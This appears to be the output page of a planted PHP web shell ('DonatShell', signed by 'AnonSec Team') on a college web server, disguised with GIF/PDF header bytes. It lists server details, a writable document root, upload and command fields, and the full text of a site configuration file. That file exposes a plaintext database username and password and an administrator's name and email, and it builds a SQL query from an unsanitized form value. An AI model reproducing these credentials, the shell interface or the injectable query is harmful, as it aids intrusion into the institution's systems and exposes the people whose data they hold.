GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html//application.phpinc
<?
// application.phpinc
// Setus up application variables and functions.

// Set header abort variables.
#$abortBeforeHeader = true;        // Displays header() instead of executing it.
#$abortBeforeLogoutHeader = true;  // Displays header() for Logout instead of executing it.
#error_reporting(E_ERROR);

#echo "\$_SERVER['DOCUMENT_ROOT']=",$_SERVER['DOCUMENT_ROOT'],"<br>\n";
#echo "\$_SERVER['DOCUMENT_ROOT']=",$_SERVER['DOCUMENT_ROOT'],"<br>\n";
#echo "\$_SERVER['REMOTE_ADDR']=",$_SERVER['REMOTE_ADDR'],"<br>\n";
if ( false && $_SERVER['REMOTE_ADDR'] != '134.29.175.74' && $_SERVER['REMOTE_ADDR'] != '134.29.173.67' && $_SERVER['REMOTE_ADDR'] != '127.0.0.1' ) {
	require('index.html');
	exit;
}

// Start page buffering.
if ( isset($_timer) ) { $_timer['pre-ob'] = microtime(1); }
ob_implicit_flush(true);
ob_start();
// Begin session.
if ( isset($_timer) ) { $_timer['pre-session'] = microtime(1); }
session_cache_limiter("private, must-revalidate");
session_start();
set_time_limit(100);
$_SESSION['DOCTYPE'] = '';
$_SESSION['OB_START'] = false;

$css_StopCache = false; // Append datetime string to prevent caching of css files.
$jsStopCache = false;

$default_timezone = 'America/Chicago'; date_default_timezone_set($default_timezone); // Set the default timezone. This is usually set in application_site.phpinc.

//echo $_SERVER['HTTP_USER_AGENT'] . "\n\n<br><br>";
if ( isset($_timer) ) { $_timer['pre-get_browser'] = microtime(1); }
//$browser = get_browser(null, true);
if ( isset($_timer) ) { $_timer['post-get_browser'] = microtime(1); }
//d_Var('$browser',$browser,'d');

// Allow pageHeader.phpinc to load once.
unset($_SESSION['PageHeaderLoaded']);

// Set $debugOn to false if it is not set.
if (!isset($debugOn)) $debugOn = false;

// Setup TRACKing.
#print_r($_SESSION['TRACK']);
if ( !isset($TRACK) ) { $TRACK = ''; }
if ( !isset($_SESSION['TRACK']) || is_array($_SESSION['TRACK']) ) { $_SESSION['TRACK'] = ''; }
if ( !isset($_SESSION['FIRST_FILE'] ) || $_SESSION['FIRST_FILE'] == '') { $_SESSION['FIRST_FILE'] = $TRACK; }
if ( $TRACK != '' ) {
	$TRACK .= "<li><b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.":".__LINE__.")</span>\n<ol>\n";
	$_SESSION['TRACK'] .= $TRACK;
}

// Include common functions.
if ( isset($_timer) ) { $_timer['functions'] = microtime(1); }
require('common/functions.phpinc');
#$_SESSION['DEBUG']['codeSite'] = false;
#d_Status();

// Set $debugBrowser for debugging.
#$debugBrowser = 'Mozilla'; // Any browser.
$debugBrowser = 'Firefox'; // Firefox browser only.
#$debugBrowser = 'MSIE';    // MSIE browser only.
#$debugBrowser = 'Safari';  // Safari browser only.

// Set $debugIP for debugging.
if (isset($_SERVER['HTTP_USER_AGENT']) && strstr($_SERVER['HTTP_USER_AGENT'],$debugBrowser)) {
	switch ($_SERVER['REMOTE_ADDR']) {
		case 'x10.14.16.208':		// CST lab
		case 'x173.16.60.67':	// Home
		case 'x10.4.16.100':		// Willmar wireless
		case '127.0.0.1':				// localhost
			$debugIP = $_SERVER['REMOTE_ADDR'];
			break;
		default:
			$debugIP = false;
	}
} else {
	$debugIP = false;
}

// Set $debugIP for debugging.
if (isset($_SERVER['HTTP_USER_AGENT']) && strstr($_SERVER['HTTP_USER_AGENT'],$debugBrowser)) {
	switch ($_SERVER['REMOTE_ADDR']) {
		case 'x10.14.16.208':		// CST lab
		case '173.16.60.67':	// Home
		case 'x10.4.16.100':		// Willmar wireless
		case '127.0.0.1':				// localhost
			$debugLine = $_SERVER['REMOTE_ADDR'];
			break;
		default:
			$debugLine = false;
	}
} else {
	$debugLine = false;
}

// Set $DEBUG_AuthenticateUser.
if (!isset($DEBUG_AuthenticateUser)) $DEBUG_AuthenticateUser = false;

/* */
// Set $_SESSION variables.
$forceSESSIONvariables = false;
if ($forceSESSIONvariables || !isset($_SESSION['DATABASE']['database'])) {
	if ($TRACK != '') $_SESSION['TRACK'] .= "<li>".basename(__FILE__).":".__LINE__.": "."Setting session variables.\n";
	// debug
	if (!isset($_SESSION['DEBUG'])) { $_SESSION['DEBUG'] = false; }
	if (!isset($_SESSION['DEBUG']['code'])) { $_SESSION['DEBUG']['code'] = false; }
	if (!isset($_SESSION['DEBUG_MYSQL'])) { $_SESSION['DEBUG_MYSQL'] = false; }
	if (!isset($_SESSION['DEBUG']['mysql'])) { $_SESSION['DEBUG']['mysql'] = false; }
	// Displays debug link in pageHeader.
	//echo "\$_SERVER['REMOTE_ADDR']=".$_SERVER['REMOTE_ADDR']."<br>\n";
	if ( (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] == 'cst.ridgewater.loc') || $debugIP ) {
		$_SESSION['DEBUG_LINK'] = true;
	} else {
		$_SESSION['DEBUG_LINK'] = false;
	}
	$_SESSION['DATABASE']['hostname'] = "localhost";
	#$_SESSION['DATABASE']['hostname'] = "134.29.175.74";
	$_SESSION['DATABASE']['database'] = "jimmarti_cst";
	$_SESSION['DATABASE']['username'] = "jimmarti_cst";
	$_SESSION['DATABASE']['password'] = "Password123$";
	#$_SESSION['DIRECTORY_ROOT']=str_replace('.','\.',str_replace("\\","/",str_replace(basename(__FILE__),"",__FILE__)));
	$_SESSION['DIRECTORY_ROOT']=str_replace('.',DIRECTORY_SEPARATOR.'.',str_replace(basename(__FILE__),"",__FILE__));
	#echo "\$_SESSION['DIRECTORY_ROOT']=",$_SESSION['DIRECTORY_ROOT'],"<br>\n";
	$_SESSION['HTTP_ROOT'] = "";
	if (!isset($_SESSION['MESSAGE_ERROR'])) { $_SESSION['MESSAGE_ERROR'] = ""; }
	if (!isset($_SESSION['MESSAGE_INFORMATION'])) { $_SESSION['MESSAGE_INFORMATION'] = ""; }
	if (!isset($_SESSION['MESSAGE_NOTICE'])) { $_SESSION['MESSAGE_NOTICE'] = ""; }
	if (!isset($_SESSION['MESSAGE_WARNING'])) { $_SESSION['MESSAGE_WARNING'] = ""; }
	$_SESSION['NAME_LONG'] = "Computer Systems Technology - Ridgewater College";
	$_SESSION['NAME_SHORT'] = "Computer Systems Technology";
	$_SESSION['UPLOAD_DIR'] ="uploads/";
	if (!isset($_SESSION['uuid'])) { $_SESSION['uuid'] = ''; }
	$_SESSION['websiteAdministratorName'] = 'Jim Martinson';
	$_SESSION['websiteAdministratorEmail'] = 'jim.martinson@ridgewater.edu';
}
else {
	if ($TRACK != '') $_SESSION['TRACK'] .= "<li>".basename(__FILE__).":".__LINE__.": "."Session variables already set.\n";
}
if ( stripos($_SERVER['SERVER_PROTOCOL'],'HTTPS') === false ) {
	$_SESSION['HTTP_PROTOCOL'] = 'http';
} else {
	$_SESSION['HTTP_PROTOCOL'] = 'https';
}
$_SESSION['HTTP_SITE'] = $_SERVER['SERVER_NAME'];
$_SESSION['HTTP_PREFIX'] = $_SESSION['HTTP_PROTOCOL'].'://'.$_SESSION['HTTP_SITE'];

if (!isset($debugTrack)) $debugTrack = true;
if ($debugTrack) {
  if (!isset($_SESSION['DEBUG'])) $_SESSION['DEBUG'] = array();																	// Array to store DEBUG information.
  if (!isset($_SESSION['DEBUG']['track'])) $_SESSION['DEBUG']['track'] = array();								// Subarray to track DEBUG information.
  if (!isset($_SESSION['TRACK'])) $_SESSION['TRACK'] = '';		// The tracking lines are stored here.
  if (!isset($_SESSION['DEBUG']['track']['count'])) $_SESSION['DEBUG']['track']['count'] = 0;		// The tracking count. When javascript ajax is used this count may go past 1.
  if (!isset($_SESSION['DEBUG']['track']['indent'])) $_SESSION['DEBUG']['track']['indent'] = 0;	// How far to indent the line because of <ol>/<li> count.
  if (!isset($_SESSION['DEBUG']['track']['ol'])) $_SESSION['DEBUG']['track']['ol'] = 0;					// The number of <ol> added minus the number of </ol>.
  /* * / // Clear DEBUG track data.
  $_SESSION['DEBUG']['track']['count'] = 0;
  $_SESSION['TRACK'] = '';
  /* */
  $_SESSION['DEBUG']['track']['count'] = $_SESSION['DEBUG']['track']['count']+1;								// Increase the track count.
  if (!isset($thisFile)) { if (isset($_GET['f_thisFile'])) { $thisFile = $_GET['f_thisFile']; } else { if (isset($_POST['f_thisFile'])) { $thisFile = $_POST['f_thisFile']; } else { $thisFile = ''; } } }	// Including filename.
  if (!isset($thisLine)) { if (isset($_GET['f_thisLine'])) { $thisLine = $_GET['f_thisLine']; } else { if (isset($_POST['f_thisLine'])) { $thisLine = $_POST['f_thisLine']; } else { $thisLine = ''; } } }	// Including file line.
  /* * / // Display DEBUG track data.
  echo "\$_SESSION['DEBUG']['code']=<br>\n";
  print_r($_SESSION['DEBUG']['code']); echo "<br>\n";
  /* */
  $_SESSION['DEBUG']['track']['indent']++; $_SESSION['DEBUG']['track']['ol']++; $_SESSION['TRACK'] .= "<b>".basename($thisFile)."</b> (".$thisFile.")\n".str_repeat('  ',$_SESSION['DEBUG']['track']['indent'])."<ol>\n";
  if (!isset($_SESSION['DEBUG']['track']['firstFile']) || $_SESSION['DEBUG']['track']['firstFile'] == '') $_SESSION['DEBUG']['track']['firstFile'] = "<b>".basename($thisFile)."</b> (".$thisFile.")";
  $file = basename(__FILE__); $filepath = __FILE__; $line = __LINE__;
  $_SESSION['DEBUG']['track']['indent']++; $_SESSION['TRACK'] .= str_repeat('  ',$_SESSION['DEBUG']['track']['indent'])."<li><b>$file</b>:$line. ($filepath) (called from $thisFile:$thisLine)\n";
  $_SESSION['DEBUG']['track']['indent']++; $_SESSION['DEBUG']['track']['ol']++; $_SESSION['TRACK'] .= str_repeat('  ',$_SESSION['DEBUG']['track']['indent'])."<ol>\n"; $_SESSION['DEBUG']['track']['indent']++;
} else {
  $_SESSION['TRACK'] = '';
}

if (!isset($_SESSION['userPermissions'])) { $_SESSION['userPermissions'] = array(); }

$f_task = formValue('task');
$f_subtask = formValue('subtask');
$f_form = formValue('form');
$f_uuid = formValue('uuid');
// Get emailGrade flag.
$emailGradeCheck = formValue('emailGradeCheck','');
#printVar("\$emailGradeCheck",$emailGradeCheck);
if ( $emailGradeCheck !== false ) {
	$emailGrade = formValue('emailGrade','');
	#if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) printVar("\$emailGrade",$emailGrade);
	if ( $emailGrade ) {
		$_SESSION['emailGrade'] = ' checked';
	} else {
		$_SESSION['emailGrade'] = '';
	}
} else {
	if ( !isset($_SESSION['emailGrade']) ) $_SESSION['emailGrade'] = ' checked';
}
$emailGrade = $_SESSION['emailGrade'];
#if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) printVar("\$_SESSION['emailGrade']",$_SESSION['emailGrade']);

if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) {
	printVar('$f_task',$f_task);
	printVar('$f_subtask',$f_subtask);
	printVar('$f_form',$f_form);
	printVar('$f_uuid',$f_uuid);
}

// Check for logout.
if (isset($_GET['Logout'])) {
	require('common/Login/logout.phpinc');
}

if (file_exists($_SESSION['DIRECTORY_ROOT'].'WebsiteStatus/WebsiteDown')) {
	include ('WebsiteStatus/WebsiteDown.phpinc');
}

// Calculate $_SESSION['YRTR'] values.
#unset($_SESSION['YRTR']);
if ( !isset($_SESSION['YRTR']) ) {
	if ( isset($_timer) ) { $_timer['GetSessions'] = microtime(1); }
	require('common/GetSessions.phpinc');
} else {
	$YRTR = formValue('YRTR','');
	#printVar('$YRTR',$YRTR);
	if ( $YRTR ) {
		$query = "
				SELECT *
					FROM `session`
				 WHERE YRTR = ".$YRTR."
		";
		$sessionResult = query_do($query);
		$sessionResultCount = $_SESSION['qry']['count'];
		if ( $sessionResultCount ) {
			$sessionYRTR = mysqli_fetch_assoc($sessionResult);
			$_SESSION['YRTR']['User'] = $sessionYRTR['YRTR'];
			$_SESSION['YRTR']['User_NAME'] = $sessionYRTR['sessionName'];
			$_SESSION['YRTR']['User_Start'] = $sessionYRTR['sessionStart'];
			$_SESSION['YRTR']['User_End'] = $sessionYRTR['sessionEnd'];
		} else {
			$_SESSION['YRTR']['User'] = NULL;
			$_SESSION['YRTR']['User_NAME'] = NULL;
			$_SESSION['YRTR']['User_Start'] = NULL;
			$_SESSION['YRTR']['User_End'] = NULL;
		}
		#printVar("\$_SESSION['YRTR']['User']",$_SESSION['YRTR']['User']);
		#printVar("\$_SESSION['YRTR']['User_NAME']",$_SESSION['YRTR']['User_NAME']);
	}
}

// Set $css and $js variables.
$css = 'CST,debug,tooltip'; // List of css files to link for the site.
$js = 'CST.js,debug.js,div.js,tooltip.js'; // List of js files to load for the site.
$onload = '_Initialize'; // List of body onLoad functions to call for the site.

// Authenticate the user to the page.
if ( !isset($skipAuthentication) ) $skipAuthentication = false;
#$skipAuthenticationIP = '173.29.45.189';
#d_Var('$skipAuthentication',$skipAuthentication,'d');
if ( isset($skipAuthenticationIP) && $skipAuthenticationIP == $_SERVER['REMOTE_ADDR'] ) $skipAuthentication = true;
#d_Var('$skipAuthentication',$skipAuthentication,'d');
#printVar('$skipAuthentication',$skipAuthentication);
if ( $skipAuthentication != true) {
	if ( isset($_timer) ) { $_timer['authenticate'] = microtime(1); }
	require('Login/authenticate.phpinc');
} else {
	if ($TRACK != '') $_SESSION['TRACK'] .= "<li>".basename(__FILE__).":".__LINE__.": ".'<span class="pv_ua">User authenticated. The page has $skipAuthentication true.</span>'."\n";
}
debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team